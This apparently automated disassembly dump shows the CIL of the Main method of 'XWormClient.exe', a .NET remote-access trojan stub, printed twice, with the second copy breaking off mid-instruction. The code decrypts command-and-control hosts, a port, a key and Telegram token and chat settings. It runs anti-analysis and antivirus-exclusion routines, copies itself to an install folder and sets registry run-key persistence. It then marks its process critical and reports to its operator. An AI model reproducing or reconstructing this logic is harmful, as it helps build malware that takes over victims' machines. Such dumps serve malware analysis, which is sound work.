0cd3df20559504130571e116dda8cb18

PE Detect: PeReader OK (file layout)

XWormClient.exe

XWormClient.exe

System.Void Stub.Main::Main()

XWormClient.exe

ModuleDef

Windows

v4.0.30319

512

<null>

XWormClient

1.0.0.0

<null>

False

<null>

<null>

0

System.Void Stub.Main::Main()

652

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 759 ldc.i4 687 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4.8 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 907 ldc.i4 920 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 1009 ldc.i4 994 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Port ldc.i4.s 9 stloc.s V_21 br.s IL_001D: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 137 ldc.i4 154 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 567 ldc.i4 548 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::SPL ldc.i4.7 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 247 ldc.i4 228 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 27 ldc.i4.8 <null> call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::USBNM ldc.i4.4 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 474 ldc.i4 457 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 670 ldc.i4 741 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stsfld System.String Settings::InstallDir ldc.i4.6 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 925 ldc.i4 910 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::InstallStr ldsfld System.String Settings::Token call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 395 ldc.i4 408 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Token ldc.i4.0 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::ChatID call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 163 ldc.i4 176 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::ChatID leave.s IL_01DA: ldc.i4.2 dup <null> ldc.i4 701 ldc.i4 742 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.3 <null> ldc.i4.0 <null> ldc.i4 959 ldc.i4 998 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4 170 ldc.i4 244 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_01DA: ldc.i4.2 ldc.i4.2 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴀ.Ⴀ::Ⴄ() brtrue.s IL_0218: ldc.i4.2 ldc.i4.4 <null> stloc.s V_23 br.s IL_01DD: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 937 ldc.i4 1008 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4.2 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_0260: ldc.i4.2 dup <null> ldc.i4 270 ldc.i4 341 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_4 ldc.i4 242 ldc.i4 172 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_0260: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.0 <null> ldnull <null> ldc.i4 1525963472 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldsfld System.String Settings::InstallStr ldc.i4.s 102 ldc.i4.7 <null> call System.String Stub.Main::ႥႤ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 774 ldc.i4 770 call System.IO.DirectoryInfo Stub.Uninstaller::ႳႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32) ldc.i4.s 30 ldc.i4.s 124 call System.String Stub.AlgorithmAES::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.7 <null> stloc.s V_29 br.s IL_02A7: ldloc.s V_29 ldloc.s V_5 ldc.i4 915 ldc.i4 896 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 238 ldc.i4 243 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brtrue.s IL_032A: ldc.i4.4 ldc.i4.8 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldc.i4.4 <null> br.s IL_0323: stloc.s V_29 ldloc.s V_5 ldc.i4 538 ldc.i4 521 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 334 ldc.i4 322 call System.IO.DirectoryInfo Stub.AlgorithmAES::ႣႰ<System.String>(System.String,System.Int16,System.Int16) pop <null> ldc.i4.4 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldloc.0 <null> isinst System.String ldc.i4 729 ldc.i4 711 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brfalse.s IL_0375: ldc.i4.6 ldc.i4.1 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldc.i4.6 <null> br.s IL_036E: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 212 ldc.i4 219 call System.Void Stub.Uninstaller::ႳႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4 230 ldc.i4 190 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴀ.Ⴀ::Ⴄ ldc.i4 624 ldc.i4 553 call System.Byte[] My.MyComputer::Ⴜ<System.String>(System.String,System.Int32,System.Int32) ldc.i4 798 ldc.i4 824 call System.Void Stub.AlgorithmAES::Ⴍ<System.String>(System.String,System.Byte[],System.Char,System.Int16) leave.s IL_03F7: ldc.i4.5 dup <null> ldc.i4 554 ldc.i4 625 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_7 ldc.i4.s 119 ldc.i4.s 41 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_03F7: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.6 <null> ldnull <null> ldc.i4 1525963418 ldc.i4.s 12 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 277 ldc.i4 355 call System.Void Stub.AlgorithmAES::Ⴓ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.1 <null> stloc.s V_31 br.s IL_03FA: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 935 ldc.i4 952 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brfalse.s IL_0471: ldc.i4.4 ldc.i4.0 <null> stloc.s V_31 br.s IL_03FA: ldloc.s V_31 ldc.i4.4 <null> br.s IL_046D: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 isinst System.String[] ldc.i4.0 <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963406 ldc.i4.s 13 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 572 ldc.i4 576 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963355 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963333 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.s 122 ldc.i4.0 <null> call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 470 ldc.i4 432 call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char) ldc.i4.7 <null> stloc.s V_31 br IL_03FA: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963337 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.7 <null> ldc.i4.s 123 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.2 <null> ldc.i4.6 <null> ldnull <null> ldc.i4 1525963357 ldc.i4.s 10 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.4 <null> ldc.i4.3 <null> ldnull <null> ldc.i4 1525963334 ldc.i4.s 11 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 765 ldc.i4 647 call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char) ldc.i4.s 96 ldc.i4.6 <null> call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.s 48 ldc.i4.s 46 call System.Diagnostics.Process Stub.Messages::ႣႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.Process ldc.i4 443 ldc.i4 449 call System.Void Stub.Messages::ႣႰ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int16) leave.s IL_05FE: ldc.i4.4 dup <null> ldc.i4 803 ldc.i4 888 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_10 ldc.i4 573 ldc.i4 611 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_05FE: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴈ() ldc.i4.s 58 ldc.i4.s 41 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႥႼ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Int16) ldc.i4.s 76 ldc.i4.s 61 call Microsoft.Win32.RegistryKey Stub.Messages::ႣႷ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.1 <null> ldnull <null> ldc.i4 1525963372 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> ldc.i4 719 ldc.i4 704 call Microsoft.Win32.RegistryKey My.MyApplication::Ⴗ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 787 ldc.i4 879 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) ldloc.0 <null> isinst System.String ldc.i4 196 ldc.i4 232 call System.Void My.MyComputer::ႨႥ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16) leave.s IL_069F: ldc.i4.0 dup <null> ldc.i4 555 ldc.i4 624 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_11 ldc.i4 796 ldc.i4 834 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_069F: ldc.i4.0 ldc.i4.0 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 552 ldc.i4 539 call System.String My.MyComputer::ႥႨ(System.Environment/SpecialFolder,System.Char,System.Int32) ldc.i4.0 <null> ldnull <null> ldc.i4 1525963472 ldc.i4.5 <null> call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldsfld System.String Settings::InstallStr ldc.i4.s 111 ldc.i4.s 19 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) ldc.i4.8 <null> ldnull <null> ldc.i4 1525963317 ldc.i4.s 17 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4 651 ldc.i4 691 call System.String Stub.AlgorithmAES::ႣႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16) stloc.s V_12 ldc.i4.1 <null> stloc.s V_35 br.s IL_06A2: ldloc.s V_35 ldc.i4.5 <null> ldnull <null> ldc.i4 1525963297 ldc.i4.s 29 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.0 <null> ldnull <null> ldc.i4 1525963732 ldc.i4.s 12 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963730 ldc.i4.s 18 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_12 isinst System.String stelem.ref <null> ldloc.s V_15 isinst System.Object[] stloc.s V_16 ldloc.s V_16 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_07C3: stloc.s V_18 ldloc.s V_16 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.7 <null> ldnull <null> ldc.i4 1525963727 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963760 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963729 ldc.i4.s 19 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_19 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.7 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.3 <null> ldnull <null> ldc.i4 1525963755 ldc.i4.s 28 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴀ.Ⴀ::Ⴓ leave.s IL_089C: ldc.i4.1 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_089C: ldc.i4.1 ldc.i4.1 <null> stloc.s V_37 ldloc.s V_37 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴀ.Ⴀ::Ⴓ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_08F2: ldc.i4.0 ldc.i4.6 <null> stloc.s V_37 br.s IL_089F: ldloc.s V_37 ldc.i4.0 <null> br.s IL_08EE: stloc.s V_37 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() call System.Void Stub.Main::SendBot() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.7 <null> stloc.s V_37 br IL_089F: ldloc.s V_37 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

XWormClient.exe

XWormClient.exe

System.Void Stub.Main::Main()

XWormClient.exe

ModuleDef

Windows

v4.0.30319

512

<null>

XWormClient

1.0.0.0

<null>

False

<null>

<null>

0

System.Void Stub.Main::Main()

652

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 759 ldc.i4 687 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4.8 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 907 ldc.i4 920 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 1009 ldc.i4 994 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Port ldc.i4.s 9 stloc.s V_21 br.s IL_001D: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 137 ldc.i4 154 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 567 ldc.i4 548 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::SPL ldc.i4.7 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 247 ldc.i4 228 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 27 ldc.i4.8 <null> call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::USBNM ldc.i4.4 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 474 ldc.i4 457 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 670 ldc.i4 741 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stsfld System.String Settings::InstallDir ldc.i4.6 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 925 ldc.i4 910 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::InstallStr ldsfld System.String Settings::Token call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 395 ldc.i4 408 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::Token ldc.i4.0 <null> stloc.s V_21 br IL_001D: ldloc.s V_21 ldsfld System.String Settings::ChatID call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 163 ldc.i4 176 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) stsfld System.String Settings::ChatID leave.s IL_01DA: ldc.i4.2 dup <null> ldc.i4 701 ldc.i4 742 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.3 <null> ldc.i4.0 <null> ldc.i4 959 ldc.i4 998 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4 170 ldc.i4 244 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_01DA: ldc.i4.2 ldc.i4.2 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴀ.Ⴀ::Ⴄ() brtrue.s IL_0218: ldc.i4.2 ldc.i4.4 <null> stloc.s V_23 br.s IL_01DD: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 937 ldc.i4 1008 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldc.i4.2 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_0260: ldc.i4.2 dup <null> ldc.i4 270 ldc.i4 341 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_4 ldc.i4 242 ldc.i4 172 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_0260: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.0 <null> ldnull <null> ldc.i4 1525963472 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldsfld System.String Settings::InstallStr ldc.i4.s 102 ldc.i4.7 <null> call System.String Stub.Main::ႥႤ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 774 ldc.i4 770 call System.IO.DirectoryInfo Stub.Uninstaller::ႳႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32) ldc.i4.s 30 ldc.i4.s 124 call System.String Stub.AlgorithmAES::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.7 <null> stloc.s V_29 br.s IL_02A7: ldloc.s V_29 ldloc.s V_5 ldc.i4 915 ldc.i4 896 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 238 ldc.i4 243 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brtrue.s IL_032A: ldc.i4.4 ldc.i4.8 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldc.i4.4 <null> br.s IL_0323: stloc.s V_29 ldloc.s V_5 ldc.i4 538 ldc.i4 521 call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldc.i4 334 ldc.i4 322 call System.IO.DirectoryInfo Stub.AlgorithmAES::ႣႰ<System.String>(System.String,System.Int16,System.Int16) pop <null> ldc.i4.4 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldloc.0 <null> isinst System.String ldc.i4 729 ldc.i4 711 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brfalse.s IL_0375: ldc.i4.6 ldc.i4.1 <null> stloc.s V_29 br IL_02A7: ldloc.s V_29 ldc.i4.6 <null> br.s IL_036E: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 212 ldc.i4 219 call System.Void 